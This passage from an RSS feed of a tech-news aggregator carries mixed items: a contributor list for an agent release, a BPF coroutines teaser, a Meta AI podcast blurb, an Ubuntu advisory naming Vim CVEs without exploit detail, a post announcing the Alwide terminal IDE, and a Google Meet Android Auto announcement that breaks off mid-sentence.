class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimStenstrom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimStenstrom">@JimStenstrom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmsunseri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmsunseri">@jmsunseri</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joel611/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joel611">@joel611</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoelJJohnson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoelJJohnson">@JoelJJohnson</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerj123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerj123">@joerj123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johnjacobkenny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johnjacobkenny">@johnjacobkenny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jooray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jooray">@jooray</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshuadow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshuadow">@joshuadow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jplew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jplew">@jplew</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justinbao19/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justinbao19">@justinbao19</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Justlrnal4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Justlrnal4">@Justlrnal4</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kamonspecial/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kamonspecial">@kamonspecial</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kdunn926/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kdunn926">@kdunn926</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kenmege/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kenmege">@Kenmege</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kewe63/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kewe63">@Kewe63</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kmccammon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kmccammon">@kmccammon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kristianvast/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kristianvast">@kristianvast</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kyssta-exe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kyssta-exe">@kyssta-exe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/l37525778-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/l37525778-coder">@l37525778-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaPhilosophie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaPhilosophie">@LaPhilosophie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leo4226/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leo4226">@leo4226</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Llugaes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Llugaes">@Llugaes</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LoongZhao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LoongZhao">@LoongZhao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lsaether/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lsaether">@lsaether</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m4dni5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m4dni5">@m4dni5</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/manishbyatroy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/manishbyatroy">@manishbyatroy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaxFreedomPollard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaxFreedomPollard">@MaxFreedomPollard</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxmilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxmilian">@maxmilian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxtrigify/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxtrigify">@maxtrigify</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mnajafian-nv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mnajafian-nv">@mnajafian-nv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohamedorigami-jpg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohamedorigami-jpg">@mohamedorigami-jpg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mollusk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mollusk">@mollusk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MrDiamondBallz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MrDiamondBallz">@MrDiamondBallz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mssteuer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mssteuer">@mssteuer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mvanhorn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mvanhorn">@mvanhorn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/naqerl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/naqerl">@naqerl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nea74/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nea74">@Nea74</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nepenth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nepenth">@nepenth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NormallyGaussian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NormallyGaussian">@NormallyGaussian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmarB97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmarB97">@OmarB97</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omegazheng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omegazheng">@omegazheng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OndrejDrapalik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OndrejDrapalik">@OndrejDrapalik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oxngon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oxngon">@oxngon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OYLFLMH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OYLFLMH">@OYLFLMH</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paperclip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paperclip">@paperclip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paulb26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paulb26">@paulb26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pengyuyanITYU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pengyuyanITYU">@pengyuyanITYU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PhilipAD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PhilipAD">@PhilipAD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pinguarmy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pinguarmy">@pinguarmy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/plcunha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/plcunha">@plcunha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProgramCaiCai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProgramCaiCai">@ProgramCaiCai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/psionic73/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/psionic73">@psionic73</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qin-ctx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qin-ctx">@qin-ctx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingshan89/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingshan89">@qingshan89</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Que0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Que0x">@Que0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qWaitCrypto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qWaitCrypto">@qWaitCrypto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randomsnowflake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randomsnowflake">@randomsnowflake</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rbrtbn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rbrtbn">@rbrtbn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rio-jeong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rio-jeong">@rio-jeong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Rivuza/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Rivuza">@Rivuza</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rodboev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rodboev">@rodboev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruangraung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruangraung">@ruangraung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyTsYdUp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyTsYdUp">@RyTsYdUp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sahil-SS9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sahil-SS9">@Sahil-SS9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/salesondemandio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/salesondemandio">@salesondemandio</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sanidhyasin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sanidhyasin">@sanidhyasin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sarvesh1327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sarvesh1327">@sarvesh1327</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sdyckjq-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sdyckjq-lab">@sdyckjq-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,<br>
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,<br>
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,<br>
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,<br>
@xiaoxinova, @xtymac, @xushibo, @XVVH, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,<br>
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,<br>
@zxcasongs.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.5...v2026.6.19">v2026.6.5...v2026.6.19</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] Suspending and resuming BPF programs]]></title>
<description><![CDATA[BPF programs can be used to extend many aspects the Linux kernel, but
BPF programs must run to completion in the same context that they began.
Kumar Kartikeya Dwivedi is working on changing that by
allowing BPF programs to be expressed as coroutines. He spoke about his work at
the 2026

Linux Sto...]]></description>
<link>https://tsecurity.de/de/3610886/linux-tipps/suspending-and-resuming-bpf-programs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610886/linux-tipps/suspending-and-resuming-bpf-programs/</guid>
<pubDate>Fri, 19 Jun 2026 18:12:52 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>
BPF programs can be used to extend many aspects the Linux kernel, but
BPF programs must run to completion in the same context that they began.
Kumar Kartikeya Dwivedi is working on changing that by
allowing BPF programs to be expressed as coroutines. He spoke about his work at
the 2026
<a href="https://events.linuxfoundation.org/lsfmmbpf/">
Linux Storage, Filesystem, Memory-Management and BPF Summit</a>. While
still experimental, the change promises to make long-running BPF tasks
significantly easier to write.
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta’s AI Workers Are Revolting, Peter Thiel’s Secret Society, and SBF’s Plea to Trump]]></title>
<description><![CDATA[On today’s Uncanny Valley, we dive into the dysfunction in Meta’s newly formed AI unit and why it’s been driving already-low employee morale even further into the ground.]]></description>
<link>https://tsecurity.de/de/3608809/it-nachrichten/metas-ai-workers-are-revolting-peter-thiels-secret-society-and-sbfs-plea-to-trump/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608809/it-nachrichten/metas-ai-workers-are-revolting-peter-thiels-secret-society-and-sbfs-plea-to-trump/</guid>
<pubDate>Thu, 18 Jun 2026 21:32:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On today’s Uncanny Valley, we dive into the dysfunction in Meta’s newly formed AI unit and why it’s been driving already-low employee morale even further into the ground.]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8451-1: Vim vulnerabilities]]></title>
<description><![CDATA[Srinivas Piskala Ganesh Babu discovered that Vim incorrectly handled
directory names when serializing browsed paths to the netrw history file.
An attacker could possibly use this issue to execute arbitrary code.
(CVE-2026-47162)

It was discovered that Vim incorrectly handled step-definition patt...]]></description>
<link>https://tsecurity.de/de/3608676/unix-server/usn-8451-1-vim-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608676/unix-server/usn-8451-1-vim-vulnerabilities/</guid>
<pubDate>Thu, 18 Jun 2026 20:31:13 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Srinivas Piskala Ganesh Babu discovered that Vim incorrectly handled
directory names when serializing browsed paths to the netrw history file.
An attacker could possibly use this issue to execute arbitrary code.
(CVE-2026-47162)

It was discovered that Vim incorrectly handled step-definition patterns in
the cucumber filetype plugin. An attacker could possibly use this issue to
execute arbitrary code. (CVE-2026-47167)

It was discovered that Vim incorrectly handled import statements during
Python omni-completion. An attacker could possibly use this issue to
execute arbitrary code. (CVE-2026-52858)

Andrej Tomči discovered that Vim incorrectly handled certain terminal
screen cells when taking a snapshot, leading to an out-of-bounds read. An
attacker could possibly use this issue to cause Vim to crash, resulting in
a denial of service. (CVE-2026-52859)

David Carliez discovered that Vim incorrectly handled reconstructed
function and class definitions during Python omni-completion. An attacker
could possibly use this issue to execute arbitrary code. (CVE-2026-52860)]]></content:encoded>
</item>
<item>
<title><![CDATA[Open source TUI IDE (in C) that brings the "Sublime Text" experience into the terminal (with Tree-sitter & LSP)]]></title>
<description><![CDATA[https://preview.redd.it/jlbgt5cqp28h1.png?width=1733&format=png&auto=webp&s=777b48adc6520375ee325b1fe639a103bff3be84 Hey everyone, I've been working on my own side project for a while now, and it's finally advanced enough to be shared. It’s called Alwide (A LightWeight IDE), and it’s a TUI editor...]]></description>
<link>https://tsecurity.de/de/3608628/linux-tipps/open-source-tui-ide-in-c-that-brings-the-sublime-text-experience-into-the-terminal-with-tree-sitter-lsp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608628/linux-tipps/open-source-tui-ide-in-c-that-brings-the-sublime-text-experience-into-the-terminal-with-tree-sitter-lsp/</guid>
<pubDate>Thu, 18 Jun 2026 20:09:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><a href="https://preview.redd.it/jlbgt5cqp28h1.png?width=1733&amp;format=png&amp;auto=webp&amp;s=777b48adc6520375ee325b1fe639a103bff3be84">https://preview.redd.it/jlbgt5cqp28h1.png?width=1733&amp;format=png&amp;auto=webp&amp;s=777b48adc6520375ee325b1fe639a103bff3be84</a></p> <p>Hey everyone,</p> <p>I've been working on my own side project for a while now, and it's finally advanced enough to be shared. It’s called <strong>Alwide</strong> (<strong>A</strong> <strong>L</strong>ight<strong>W</strong>eight <strong>IDE</strong>), and it’s a TUI editor written from scratch in pure C.</p> <p><strong>Why did I build this?</strong></p> <p>I love the terminal, but for my usage (as IT student): <code>nano</code> is too basic, but <code>vim</code> or <code>emacs</code> feels a bit too rought for my "VSCode" and "JetBrain" experience. Alwide is designed to be use when you just want to do quick edits over SSH or need a light editor without the VS Code/JetBrains overhead.</p> <p>I wanted the fluid, modern vibe of <strong>Sublime Text</strong> but directly inside my terminal.</p> <p><strong>What makes it different?</strong></p> <ul> <li><strong>Zero learning curve:</strong> It has full mouse support out of the box. You can click, scroll, and drag-select text just like a GUI app.</li> <li><strong>Nice features:</strong> I integrated <strong>Tree-sitter</strong> for actual high-quality syntax highlighting and full <strong>LSP</strong> support (auto-completion popup, hover docs, go-to-definition).</li> <li><strong>Persistent State:</strong> If you close the editor and reopen it, your tabs, cursor positions, and even your undo/redo history are fully preserved.</li> <li><strong>Pretty Fast:</strong> It's pure C. Release binary about 3Mb~. Really fluid fast scroll and light repaint (perfect to avoid running out of battery on your laptop opening heavy editors during classes).</li> </ul> <p><strong>Supported languages:</strong></p> <p>C/C++, Python, Go, Rust, JS/TS, Java, Bash, Lua, Markdown, Assembly, and more.</p> <p>It’s open-source (MIT), highly readable if you're curious about terminal editor internals, and you can test it on Linux with a simple curl script (pre-built binaries/packages are also available).</p> <p><strong>Link to the repo:</strong> <a href="https://github.com/arnauda-gh/Alwide">https://github.com/arnauda-gh/Alwide</a></p> <p>Currently the project as a strong base but it hasn't been tested that much (my own use case and own terminal/drivers). For now I don't have hard know bugs. And before starting adding some tweaks and more highlevel features (setting page or anything else...) I want to be sure that the foundations are strong.</p> <p>Also I need to know if the editor could interest other people and need "generic" features. For example the setting page (the current shortcut are, for me, already at peek performance 😎 so for my own usage no need about a setting page).</p> <p>And finally if you like the project don't forget to leave a star (pls for a poor student that need a great CV 😅).</p> <p>Any way have a good day and see you 👋.</p> <p>Edit : I know that it's possible on vim or emacs to add plugin and modify the behavior. But you have to learn first how vim works, edit lua scripts etc... And even for your own computer it's "easy" to setup a good vim (if you spend time to), but when working on remote from ssh connection it's not worth it to take 30min to setup a vim or a fs sync on a server on which you will spent 1h on your whole life. That's the point of this project.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Edifay"> /u/Edifay </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1u9c3gz/open_source_tui_ide_in_c_that_brings_the_sublime/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u9c3gz/open_source_tui_ide_in_c_that_brings_the_sublime/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Meet now available on Android Auto]]></title>
<description><![CDATA[We’re bringing the power of Google Meet to your vehicle's display with our new integration for Android Auto. This update makes it easy to safely stay connected and handle important meetings hands-free from behind the wheel.Users can now access Google Meet directly from their car's dashboard. This...]]></description>
<link>https://tsecurity.de/de/3608400/web-tipps/google-meet-now-available-on-android-auto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608400/web-tipps/google-meet-now-available-on-android-auto/</guid>
<pubDate>Thu, 18 Jun 2026 18:25:52 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We’re bringing the power of Google Meet to your vehicle's display with our new integration for Android Auto. This update makes it easy to safely stay connected and handle important meetings hands-free from behind the wheel.<div><br></div><div>Users can now access Google Meet directly from their car's dashboard. This integration ensures your productivity doesn't pause when you start your engine. From your vehicle's display, you can check your upcoming meeting schedule and join discussions with a single tap.</div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDjeD64NYKpEl7DAHRrzb7vZCCQzU0vNoyQdlPNKu5ZPXoS_8Lu4G0A9muZstm7YbdauAmY9UMzxir15tsiD_UKSDKCVGDcyoIEKX4J-ARYceY9-AGUpoYltMEAqn8QXH4lIN38Wo-F43Ah1xWD758Zm8N2drx2h-fHH7LOdKiK2JoQGLxoxDqUghzGQFG/s1919/Android%20Auto%201.png"><img alt="User interface showing upcoming meetings" border="0" data-original-height="1073" data-original-width="1919" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDjeD64NYKpEl7DAHRrzb7vZCCQzU0vNoyQdlPNKu5ZPXoS_8Lu4G0A9muZstm7YbdauAmY9UMzxir15tsiD_UKSDKCVGDcyoIEKX4J-ARYceY9-AGUpoYltMEAqn8QXH4lIN38Wo-F43Ah1xWD758Zm8N2drx2h-fHH7LOdKiK2JoQGLxoxDqUghzGQFG/s16000/Android%20Auto%201.png"></a></div><div><br></div><div>You also have the flexibility to make and receive direct audio calls, with a convenient History tab that lets you quickly dial colleagues or clients without taking your eyes off the road.</div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqwfXW60WqmKu3IURP_qPocQoRxbBlAsvOcbR69nLhyphenhyphenp9GSRZ_ijxxSPl-G8K-kOSjoLSpQc6fwm0t0e2W4muHu-YxjVuk7P7b522AD-9RtUYehdlBfDlUGKK4j26y5HYNUceUuNQhdw_1Ik0MCLe8BjQqD7x-OsK8sFngZYmiC_b5-lU9Nl4yrzqOab0E/s1919/Android%20Auto%202.png"><img alt="User interface showing recent calls" border="0" data-original-height="1074" data-original-width="1919" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqwfXW60WqmKu3IURP_qPocQoRxbBlAsvOcbR69nLhyphenhyphenp9GSRZ_ijxxSPl-G8K-kOSjoLSpQc6fwm0t0e2W4muHu-YxjVuk7P7b522AD-9RtUYehdlBfDlUGKK4j26y5HYNUceUuNQhdw_1Ik0MCLe8BjQqD7x-OsK8sFngZYmiC_b5-lU9Nl4yrzqOab0E/s16000/Android%20Auto%202.png"></a></div><div><br></div><div>Please note that when you join a meeting or call, your 